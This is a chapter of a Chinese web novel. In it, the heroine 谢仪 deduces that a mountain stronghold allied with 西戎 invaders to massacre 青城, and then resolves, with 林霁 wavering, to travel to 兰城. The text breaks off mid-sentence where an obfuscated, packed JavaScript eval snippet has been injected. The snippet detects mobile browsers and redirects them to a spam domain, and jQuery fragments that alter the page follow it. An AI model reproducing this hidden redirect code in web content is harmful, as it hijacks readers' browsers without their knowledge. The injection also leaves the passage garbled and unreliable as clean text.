24. 白发

作品:《问世间

    这一片的外族只能是西戎人了,能做出这般屠城之举的也只能是西戎人了,


    这些外族能深入到这处,赤城必然是发生了什么变故,十有八九也已换了主,


    但为何是青城呢?赤城靠边境,是西戎人侵入的第一步,青城又有什么特殊之处呢?


    青城不过是宏城下面的小县,没多大产业,李老头也是个温吞的,从没冒过头,


    谢仪坐在小院的石凳上,望着满院的雪,


    他二人恰好去了山寨,逃过一劫,这真的只是巧合吗?


    该是大当家的顺手给了她和林霁一个机会,而外面走商的山寨人都收到消息回去避难,这是不是可以证明,那山寨必然有人提前得到了消息。甚至再深一些,结合突然出现又一同消失的大批马匹,山寨高层说不得不仅知道消息,还和那西戎人达成了某种合作。


    合作,一民间山寨和外族有什么可合作的呢?这和青城又该有什么关联呢?


    西戎人要夺赤城,山寨人想做什么?


    想……夺宏城。


    谢仪突然意识到,那寨中人虽瞧着都过活的挺好,但实际大多都是些宏城中活不下去的百姓,官府荒唐,被逼上山,寨中人心中会恨吗?他们会想回去救还在宏城受苦的民众吗?


    苛政猛于虎,有人建了桃源,有人上了山。


    大官,劫一个大官,原来是宏城的大官吗。


    雪积在谢仪身上,竟似一夜白了乌发,


    上百匹马,其实已经够了,人心散了,再厚的城墙也无甚大用,这寨中人的多少亲人若开了城门,那府兵几人不过是个摆设罢了,


    宏城长官是个荒唐官,谢仪是认的。


    但这些人,回到自己的城,为什么要葬送青城呢?这高义的山寨,怎的要把青城送给西戎呢?


    谢仪想明白了,却已是晚了,


    落雪越来越厚,遮住了混乱与血腥,瞧着竟和三日前的小院没差,


    三城之中,宏城兵力最强,赤城次之。西戎想夺赤城,但忌惮兰城和宏城支援,山寨想夺宏城,同有所忧,一合计,便结为同盟。


    至于其中兰城,说不好什么情况,但十有八九是得了好处,作壁上观——这些商人,消息最为灵通,这般大规模的物资运输,必然经过兰城,若说那商会半点风声不知,确是绝不可能的,说不得那马能悄无声息地到达山寨,还有这些商人的运作呢。


    青城又重要在哪里?这小城没什么政治、经济特点,但在军事中,其地理位置决定了它的关键性。青城处于一个通南北的狭口,周围多山,青城,是西域三镇联系北郡的必经之路。


    北郡有着本朝最精锐之师,若是出兵,无论是山寨还是西戎,都面临巨大威胁。


    那联盟中人想的长远,他怕宏城向北郡求援,竟提前占了青城,控住道路。待北郡得到消息,尘埃已定,青城又易守难攻,扼住咽喉,此事便算成了。


    可西戎人隔着兰城控不住这块“飞地”,山寨则分不出人手,竟想出这般狠毒计谋来,西戎人屠了城,再由寨中人接手,西戎得了一城物资,山寨则得到了一座“干净”的空城,可真是各取所需,好一对盟友。


    届时宏城的新长官再来接济青城,洗得白白净净,打的是个替天行道的好名声。宏城门是百姓开的,他们不过杀了几个狗官,还收回青城,人们说不得还要感恩戴德,真真夸一句义士。


    这背后之人,诡谲至极,干的谋逆事,行的阴损计,传出去的确是仁善的好名声。


    谢仪点过石桌上的雪,反复描着“青城”二字。


    宏城人自己救了自己,却“不小心”忽略了旁边的小县,这些曾经鲜活生动的百姓,多少性命,在史书甚至难以留下一笔,他们会被历史彻底遗忘,抹去一切痕迹。


    怪宏城百姓吗,怪被逼上山只能反抗的人吗,还是怪无所作为的兰城,或是可能已经死去的看管不力的长官?各有各的道理,各有各的说法,谢仪轻轻抹平这石桌上的字样,站起了身,


    到底都是猜测,她还是不知全貌,不晓得宏城到底有几分参与,兰城又有几分无辜,但那肆意屠戮他人的西戎人确实是罪大恶极,无可辩驳。


    世道已经乱了,每人有每人的立场,她谢玄之,也该有自己的道路。


    她不是真的无心木,也做不了那万物皆同的菩萨,她终究修不了道,她也永远避不了世,谢仪,有喜的物,亦有恨的人。


    谢仪不会再逃,她已然明白,大势浊浊,怎可一人独清?她将走向自己的那路,那条布满荆棘,不知前程的路,但也是唯一的路,


    林霁是对的,没有什么注定正确,圣人也不行,也没有什么注定错误,一切都是混沌的,她能做的,只有向前。


    谢仪转过身去,一如在京城府中时端正,走回屋中,


    “林霁,我想去兰城。”


    榻边的男子正专心整理着郎中的仪容,人干干净净地来,总是该干干净净地走的,


    他听到此话,抬起头,多大个男儿,眼睛通红,


    “兰城……”林霁似乎才反映过来,他愣了愣,重复一遍,望向门口那白得与外面浑然一体的女子,只是喃喃道,“兰城啊。”


    两人沉默地望着对方,


    “玄之,让我想一想,想一想……”男子露出了个比哭还难看的笑容,没再回应,也不再看谢仪,又低下头去,细细擦拭着郎中。


    谢仪便在旁边看着,她要走的是条不归路,从此不见日升月落,不闻鸟语风啸,再没有日日的月下闲谈,再无暇于自在天地,刀光剑影,尔虞我诈,是权,是谋,是与人争,是与天斗,


    她,不能强求林霁同她一起,


    第二日清晨,谢仪独自带着简单行囊走出门去,回头望,见院中无任何动静时,还是这般想法,


    但当白衣女子合上大门,听着最后闭合的声音,她却久久立在门前未动,


    她该走了,


    林霁此时还未出现,必然是不愿与她一起了,


    青城是个好地方,青城人也多是好心人,林霁要好好葬了郎中,要送走他们逝世的好友,待这城开始重建,还可以再开家小店,继续这般生活,烦恼不多,该是个普通人的最幸福的生活,


    林霁还要许多事可做,他本就不必和她走,去龙潭虎穴,为了已经无法挽回的悲剧。


    说到底,他们不过是没什么关系的过路人,


    扶着门的手终究落下,谢仪垂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416025|166034||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下眉眼,转身离开,


    死寂的城,纯白的雪,女子孤身向前,


    她停了下来,


    她多么希望自己可以告诉那个总是哀伤但努力生活的林明远,这个世道没有那么糟糕,


    但她不能,


    这个世道,就是如此不堪,


    谢仪想不到什么可以让林霁与她一道的理由,但她还是停了下来,


    寒风吹过,


    延伸的脚印停在了半路,荒凉的街道空无一人,


    ——


    谢仪还是转了回去,她说不上来自己是什么心理,或许是她已经习惯了同行,她只是想再问问林霁,愿不愿同她一起。


    站在门前的那一刻,木门忽地从里面开了,


    谢仪和慌忙拉开门的男子对上眼,


    林霁还穿着昨日的衣服,沾着血迹,全是褶皱,眼下一片青黑,眼中布满血丝──显然一夜未眠。


    “玄之,”见谢仪没走,林霁明显有些惊喜,“你……”


    男子正要开口,却突然顿住,面色更加苍白,“你的头发,怎么白了。”


    谢仪自己都未发觉,那满头乌黑秀发,不只何时起,掺杂着几缕雪白发丝,那般显眼。


    “明远,你可是要和我一起走?”谢仪垂眸,并未多言,她只是望向林霁,问得冷静,一切情绪都被藏在言语背后。


    但林霁只是望着她的发丝发怔,他其实也说不清为什么自己会追出来,他本已决定待在这青城,


    林霁的目光从雪白发丝移向周围荒凉景,不过一十几岁的少年正废力地拖动一草席,在深厚雪地留下长长痕迹,


    “不知道,我不知道,”男子开口了,他的声音开始很小,不过低语,“我见过数不清的死亡,望不尽的苦难,我试着抗争,我召集过百姓,最终多乱棍打死,我讲述思想,被归为疯魔异端,我经营生意,也落得个万事皆空,我不知道,还能怎么做,


    连个难民都做不成,活着怎会这般艰难,青城的这些人,哪里有什么错,最终却落得这般境地,我救不了他们,我救不了这个世道啊!你们,你们压根什么都不知道,这时代会吃人啊!”


    林霁越说越激动,最后竟喊了出来,随后便是止不住的泪。


    “玄之,你本人中龙凤,当去经略天地,但我试过了,我败了,我猜不到命运还安排了多少苦难在等着我,我受不住啊,我受不住。”


    林霁哭得哽咽,最后只余轻轻呢喃“不是我不愿同你走,但我害怕啊,我害怕啊……”


    他真的,已经没办法了。


    谢仪从不知道男子也能有如此多的泪水,她沉默地看着他,看了许久,轻轻问道,“林霁,你甘心吗?”


    “你甘心吗?你真的甘心吗?”


    这声轻语在林霁混乱的脑中回荡,


    他从偏僻山村走到京城,又从京城来到青城,他甘心吗?他如此耗费心力,经营商路,他甘心吗?


    情绪几近崩溃的男子缓缓停住,


    是了,他主动去往山寨,他努力记住每一逝者面孔,他在今日拉开了这扇门,他该是不甘心的,他怎能甘心呢?


    他明明见过更好的世界,如何能忍受这般潦草地度过一生?